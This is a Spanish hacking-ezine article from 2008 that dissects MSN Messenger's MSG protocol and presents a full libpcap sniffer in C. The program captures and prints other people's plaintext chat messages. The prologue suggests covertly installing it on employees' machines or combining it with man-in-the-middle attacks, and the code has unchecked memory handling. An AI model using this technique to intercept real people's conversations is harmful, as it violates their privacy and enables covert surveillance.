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SET 035 0x0B

  

-[ 0x0B ]--------------------------------------------------------------------
-[ Interceptar Conversaciones ]----------------------------------------------
-[ by blackngel ]----------------------------------------------------SET-35--


^^
*`* @@ *`* HACK THE WORLD
* *--* *
## by blackngel <blackngel1@gmail.com>
|| <black@set-ezine.org>
* *
* * (C) Copyleft 2008 everybody
_* *_


1 - Prologo
2 - Introduccion
3 - Protocolo MSN
4 - Codeando
5 - Conclusion
6 - Referencias



---[ 1 - Prologo

A quien le puede interesar espiar conversaciones? No encontrar respuesta a
esta pregunta resulta francamente complicado. Que sea o no eticamente correcto
es un tema tratado ya en demasia.

Los programas son criaturas extra~as, la mayoria de las veces complejas y otras
tantas son obras demasiado (+++) personales. Cuando uno deja de ser un simple
novato y comienza a interesarse en como funcionan las cosas e incluso decide
meter su cabeza en el codigo, no todo es color de rosa.

Sniffar conversaciones realizadas a traves del software "Messenger" puede ser
algo interesante. Y aqui no me refiero a la accion en si, sino al ambiciado:
"como hacerlo?".

Entonces nos atrevemos, bajamos codigo y mas codigo, lo destripamos, adivinamos
donde esta el comienzo y creemos descubrir una especie de estructura interna.
Luego todo se complica. Sentencias sin sentido, procedimientos incomprensibles
y un inmenso oceano donde no podemos hacer otra cosa mas que ahogarnos y
desistir.

Y todo ello no es porque "el Programador" sea una entidad retorcida cuya unica
intencion sea hacer su codigo indescifrable (puede serlo y puede llegar ser
divertido [descifrarlo]). La razon es que cuando uno consigue una base lo
suficientemente solida como para mantenerse por si misma, el programador no
puede evitar la incesante necesidad de a~adir nuevas funciones, introducir
nuevas variables, y reestructurar el codigo hasta tal punto que la idea original
para el que fue creado se torne ilegible (a pesar de que siga funcionando igual
o mejor que antes).

Que pretende este articulo? Facil: Como capturar conversaciones de "Messenger"
con menos de 200 lineas de codigo (no contabilizando comentarios claro esta).
El metodo que usaremos aqui, puede ser reutilizado para sniffar conversaciones
irc, aim, yahoo, icq e incluso para capturar direcciones URL.

Plantar un sniffer en tu propio ordenador para capturar tus conversaciones
puede parecer inutil excepto cuando lo situas en los PC's de tus empleados
y esperas a saber a que se dedican realmente en horario de trabajo (espiar a
tu novia es mas inmoral todavia); pero cuando entra en juego un ataque "Man In
The Middle"
, entonces todo cambia. Esto no deberia requerir mas explicaciones...



---[ 2 - Introduccion

Requisitos:

- LibPcap (version 0.8) [1]
- LibNet (version 1.1 o superior) [2]

Compilar con:

- $ gcc codigo.c -lpcap -lnet -o sniffmsn

Uso:

- $ sudo ./sniffmsn dev

No se entrara en detalles acerca de la implementacion y argumentos de las
funciones de la libreria libpcap, sin embargo, se ense~ara el cometido de cada
una de ellas, pues para eso estamos aqui, para comentar el codigo.

Libnet podria ser evitado pero utilizaremos sus estructuras de cabecera para
protocolos debido a que son verdaderamente intuitivas y facilitan nuestra tarea.

El metodo utilizado para crear el codigo que veremos en la siguiente seccion se
basa en algo tan sencillo como interpretar las capturas de nuestro amigo:
"Wireshark" (antes conocido como Ethereal). Con esto conseguiremos saber como
funciona el protocolo "msn" y de aqui pasaremos a capturar los paquetes que
pasen por nuestra interfaz de red para luego extraer la informacion que
necesitamos.

Te parece que el formato de salida de Wireshark es criptico? Podria decirte que
dejaras de leer esto, pero esta actitud ampliamente emulada no es etica;
simplemente te dire que tu experiencia no es la suficiente y precisas de alguna
que otra lectura previa. Acaba de leer este articulo y vuelve a el cuando hayas
acumulado un conocimiento extra.


---[ 3 - Protocolo MSN

Si piensas que aqui se va dar una explicacion en profundidad acerca del citado
protocolo, estas equivocado. Google es tu amigo pero aqui tienes una ayuda [3].

Para que nos entendamos, podriamos decir vulgarmente que este protocolo actua
a traves de comandos. Algunos de ellos tales como: CAL, JOI, USR, XFR, MSG, y
unos cuantos mas.

Es este ultimo el que en este momento nos conviene estudiar. Estamos a punto de
destriparlo.

Para seguir lo que viene a continuacion deberias iniciar una sesion Msn con tu
cliente favorito que podria ser: aMsn, Pidgin o cualquier otro. Antes de iniciar
esta sesion abriras una pantalla de Wireshark como root y pondras a la escucha
la interfaz de red que te conecta a internet. En las opciones de captura debes
escribir lo siguiente:

-> "tcp and src port 1863 or dst port 1863"

* 1863 es el puerto utilizado por los servidores de Messenger.

De este modo filtraremos solo los paquetes que nos interesan y evitaremos un
monton de basura innecesaria.

Inicia entonces una conversacion con alguno de tus amig@s y cuando hayas
intercambiado unas cuantas frases, despidete (te lo ordeno, aqui no estamos
para chatear };-D) y finaliza la captura de Wireshark. Es conveniente que
guardes los paquetes capturados en un archivo para que puedas utilizar este
mismo modelo tantas veces como quieras y evitar repetir el proceso anterior.

Vamos al meollo del asunto:

En el campo INFO de varios paquetes capturados podremos observar algunos de los
comandos mencionados anteriormente junto con algun otro tipo de datos que solo
al lector avanzado interesan.

Bien, nuestro objetivo es buscar paquetes cuyo campo INFO contiene el comando
"MSG" pero, alto ahi, no todos son interesantes y vamos a suprimirlos.
Iremos situandonos encima de estos paquetes y desplegaremos la pesta~a de
"MSN Messenger Service". En ella encontraremos toda la informacion que
necesitamos. Aquellos cuyo campo "Content-Type:" sea diferente a "text/plain",
podemos obviarlos, contienen informacion de control pero no mensajes legibles.
Aquellos que lo contengan, son los nuestros.

Destriparemos ahora el resto de los campos:

Si nosotros enviamos el mensaje el comando se muestra como sigue:
MSG 13 A 165\r\n -> El comando, indicando el numero de caracteres incluyendo
el mensaje y el resto de parametros a partir de aqui.

Si es nuestro amigo el que nos habla a nosotros, se vera asi:
MSG amigo@dominio.com I-Hack-The-World 165\r\n -> El comando, el e-mail y la
frase o nick que le hace mas
CooL.

MIME-Version: 1.0\r\n
Content-Type: text/plain; charset=UTF-8\r\n -> Version MIME, texto plano y
estandar de codificacion Unicode

User-Agent: pidgin/2.4.3\r\n -> Puede estar o no! Software utilizado para la
conexion.

X-MMS-IM-Format:FN=MS%20Sans%20Serif; EF=; CO=0; PF=0; RL=0\r\n
-> Si alguna vez te has preguntado como puede ser que la fuente y el color de
la letra que tu eliges puede verse tambien en el PC de la persona con la que
mantienes una charla, aqui tienes la respuesta. Interpreta los "%20" como
espacios (deberias saberlo).

\r\n -> Retorno de carro y nueva linea adicional (ayuda, lo veremos).

eres un hacker? -> He aqui el mensaje tan esperado. El que nosotros hemos
enviado o recibido.

Vale, hasta aqui tenemos bastante materia. Podrias cerrar este articulo y
presumir delante de tus amig@s que capturas conversaciones mediante Wireshark.
Si tienes un poco de cabeza y pretendes utilizarla, supondre que no perderas tu
tiempo buscando frases entre la inmensa cantidad de paquetes almacenados y que
estas dispuest@ a llegar mas alla. Como era? Ah si: "haztelo tu mismo".

Te suena?



---[ 4 - Codeando

Bueno, con lo anterior, la idea general del programa resulta mas que sencilla:

# 1 # - Capturar paquetes con libpcap.
# 2 # - Filtrar los que vayan o provengan del puerto 1863 (msn).
# 3 # - Copiar los datos del paquete a un buffer y diferenciar entre enviados y
recibidos para guardar el e-mail/nick del receptor en caso necesario.
# 4 # - Seleccionar aquellos que contengan el comando "MSG" y coincidan con la
cadena "Content-Type: text/plain".
# 5 # - Desplazarnos hasta la cadena del mensaje e imprimirla.

A partir de aqui se ira mostrando el codigo convenientemente comentado y
respetando, ante todo, el orden de procesamiento anterior.

**-------------------------------------------------------------------------**

// Archivos cabecera y definiciones

#include <stdio.h>
#include <pcap.h>
#include <libnet.h>

#define MSN_PORT 1863
#define TCPHDR_LEN 0x20 /* Esto es interesante, algunas veces podrias
necesitar cambiar esto por "0x14" para que
funcione. Ello es debido a que diversas opciones
del protocolo TCP puden cambiar el tama~o de
la cabecera de 20 a 32 bytes
*/

#define FILTRO_MSN "tcp and src port 1863 or dst port 1863"

// Declaraciones de funciones

static char * get_ident(char *);
void print_msg(char *, int, char *, char *);
void handle_msg(char *, char, int);
void read_msn(u_char *, const struct pcap_pkthdr *, const u_char *);

// Funcion Principal

int main(int argc, char *argv[])
{
int rc;
char *device;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program filtro;
bpf_u_int32 netp, maskp;
pcap_t* sniffmsn;

if (argc < 2)
exit(0);

device = argv[1]; // Unico parametro: interfaz de red. Ex.: eth1, ath0, etc.

// Abrimos el dispositivo para captura en modo promiscuo
sniffmsn = pcap_open_live(device, 1600, 1, 20, errbuf);
if (sniffmsn == NULL) {
fprintf(stderr, "pcap_open_live(): %s\n",errbuf);
exit(-1);
}
// Obtenemos la direccion y la mascara de red de la interfaz
if (pcap_lookupnet(device, &netp, &maskp, errbuf) == -1) {
fprintf(stderr, "Error en pcap_lookupnet(): %s\n", errbuf);
exit(-1);
}
// Creamos el filtro con las opciones anteriormente definidas
if (pcap_compile(sniffmsn, &filtro, FILTRO_MSN, 0, netp) == -1) {
fprintf(stderr, "Error compilando el filtro\n");
exit(-1);
}
// Aplicamos el filtro a la interfaz
if (pcap_setfilter(sniffmsn, &filtro) == -1) {
fprintf(stderr, "Error aplicando el filtro\n");
exit(-1);
}
// Iniciamos la captura de paquetes indefinidamente, el 3er parametro es la
// funcion que se encarga de interpretar los paquetes, siempre tiene tres
// parametros y no tiene valor de retorno.
rc = pcap_loop(sniffmsn, -1, &read_msn, NULL);

return 0;
}

// Funcion que interpreta los paquetes. Extraemos las cabeceras TCP e IP y
// controlamos el payload (carga o datos) que se pasara a la siguiente
// funcion diferenciando entre enviados y recibidos para leer los que sean
// realmente interesantes.

void
read_msn(u_char *useless, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
{
u_char *data;
int len;

struct libnet_ipv4_hdr *iph; // Cabecera IP
struct libnet_tcp_hdr *tcph; // Cabecera TCP

iph = (struct libnet_ipv4_hdr *)(pkt + LIBNET_ETH_H);
tcph = (struct libnet_tcp_hdr *)(pkt + LIBNET_ETH_H + LIBNET_IPV4_H);

// Los datos se alcanzan tras pasar las cabeceras: ethernet, ip y tcp.
data = (u_char *)(pkt + LIBNET_ETH_H + LIBNET_IPV4_H + TCPHDR_LEN);
len = ntohs(iph->ip_len);

// Si el puerto origen es 1863, estamos recibiendo un mensaje.
if (ntohs(tcph->th_sport) == MSN_PORT) {
handle_msg(data, 'R', len); // Maneja los datos que anteriormente
// destripamos: comando, opciones y mensaje.
}
// Si el puerto destino es 1863, estamos enviando un mensaje
else if (ntohs(tcph->th_dport) == MSN_PORT) {
handle_msg(data, 'S', len);
}
}

//

void
handle_msg(char *data, char dir, int dlen)
{
char *pc, *pstart;
char *email;
char *nick;
char *buf;

// Creamos un buffer con la longitud del payload
buf = (char *) calloc(dlen, sizeof(char));
// Copiamos alli su contenido para manejarlo
if (buf != NULL) {
strncpy(buf, data, dlen);
} else {
fprintf(stderr, "\nNo hay suficiente memoria\n");
exit(-1);
}

// Comprobamos que contenga el comando "MSG"
if (strncmp(buf, "MSG", 3) == 0) {

// Que su contenido sea texto plano y no datos de control
if (strstr(buf, "Content-Type: text/plain") != NULL) {

// Mensajes enviados
if (dir == 'S') {
// Nos situamos en el primer parametro del comando MSG
pc = strchr(buf + 4, ' ');
pc++;
// Funcion que alcanza el mensaje y lo imprime. El ultimo parametro
// es nulo porque no imprimimos el e-mail del emisor, nosotros.
// Deberiamos hacerlo si utilizamos ataques MITM.
print_msg(pc, dir, NULL, NULL);
}

// Mensajes recibidos
else {
// Lo mismo que antes pero esta vez colocamos un caracter nulo al
// final de la direccion e-mail del receptor para poder manejar
// este fragmento como una cadena.
pstart = buf + 4;
pc = strchr(pstart, ' ');
if (pc != NULL)
*pc = 0;
email = get_ident(pstart); // Esta funcion, que sera descrita al
// final del codigo, no es mas que un
// peque~o administrador de memoria
// dinamica, que reserva el espacio
// suficiente para almacenar e-mail y
// nick, evitando buffer's estaticos y
// los consecuentes overflows.

// Mismo procedimiento para almacenar el nick.
pc++;
pstart = pc;
pc = strchr(pstart, ' ');
if (pc != NULL)
*pc = 0;
nick = get_ident(pstart);

pc++;
print_msg(pc, dir, email, nick); // Imprimir mensaje
}
}
}

// Trabajar limpiamente
free(buf);
free(email);
free(nick);
}

void
print_msg(char *pc, int dir, char *mail, char *nick)
{
char *str, *str_end;
int len;

// Parametros validos para el comando "MSG"
if (*pc == 'U' || *pc == 'N' || *pc == 'A') {
str = strchr(pc, ' ');
str++;
}
else {
str = pc;
}

// Justo antes del primer retorno de carro se encuentra la longitud del
// mensaje, lo almacenamos en la variable 'len'.
str_end = strchr(str, '\r');
*str_end = '\0'; // Ya saben, para manejar cadenas deben terminar en \0.
len = atoi(str);
str = str_end + 2;
*(str + len) = '\0';

// Muy facil, gracias al retorno de carro y nueva linea adicional que el
// protocolo MSN nos facilita, el mensaje real siempre se encontrara despues
// de dos retornos de carro y nueva linea consecutivos.
str = strstr(str, "\r\n\r\n");
str += 4;

if (dir == 'S')
printf("\nSEND MSG: %s\n", str); // Mensajes enviados
else // Mensajes Recibidos
printf("\nRECV MSG from (%s) [%s]: %s\n", mail, nick, str);

}

// Administrador de memoria dinamica para almacenar cadenas.

static char *
get_ident(char *ptr)
{
char *buff;
size_t bsize = 32; // Tama~o de buffer inicial
int lenp = strlen(ptr);

// Mientras la longitud de la cadena sea mayor que el tama~o de buffer,
// lo vamos multiplicando por 2 hasta que la capacidad sea suficiente.
while (lenp > bsize) {
bsize *= 2;
}

buff = (char *) calloc(bsize, sizeof(char)); // Creamos el buffer con 0's

if (buff != NULL) {
strncpy(buff, ptr, bsize); // Copiamos la cadena al buffer
return buff;
} else {
fprintf(stderr, "\nNo hay suficiente memoria\n");
exit(-1);
}
}

**-------------------------------------------------------------------------**



---[ 5 - Conclusion

Espero que esto haya sido lo suficientemente interesante como para llegar hasta
aqui. El codigo es muy basico, pues en todo instante evitamos irnos por las
ramas centrandose unica y exclusivamente en la idea principal.

Aunque pueda parecer mentira, una de las partes mas interesantes del codigo es
el peque~o administrador de memoria "get_ident(...)". Con el podemos aprender
practicas de programacion bastante mas adecuadas en la actualidad. Debemos
evitar caer en las tentaciones del programador perezoso y comportarnos de
acuerdo al status que proclamamos.
"Programacion en Linux: Casos Practicos" [4], podria ser una buena lectura si
pretendes que tu vision ante la programacion cambie de forma notable.

Cualquier duda podeis consultarla en <blackngel1@gmail.com>, leo el correo a
diario, aunque solo sea para leer las ultimas de Hispasec [5].



---[ 6 - Referencias

[1] LibPcap
http://sourceforge.net/projects/libpcap/

[2] LibNet
http://libnet.sourceforge.net

[3] Protocolo MSN
http://65.23.158.196/nitz/nitz/protocolo_msn.pdf

[4] Programacion en Linux: Casos Prácticos - ISBN: 978-84-415-1839-1
http://www.anayamultimedia.es

[5] Hispasec Sistemas
http://www.hispasec.com

*EOF*

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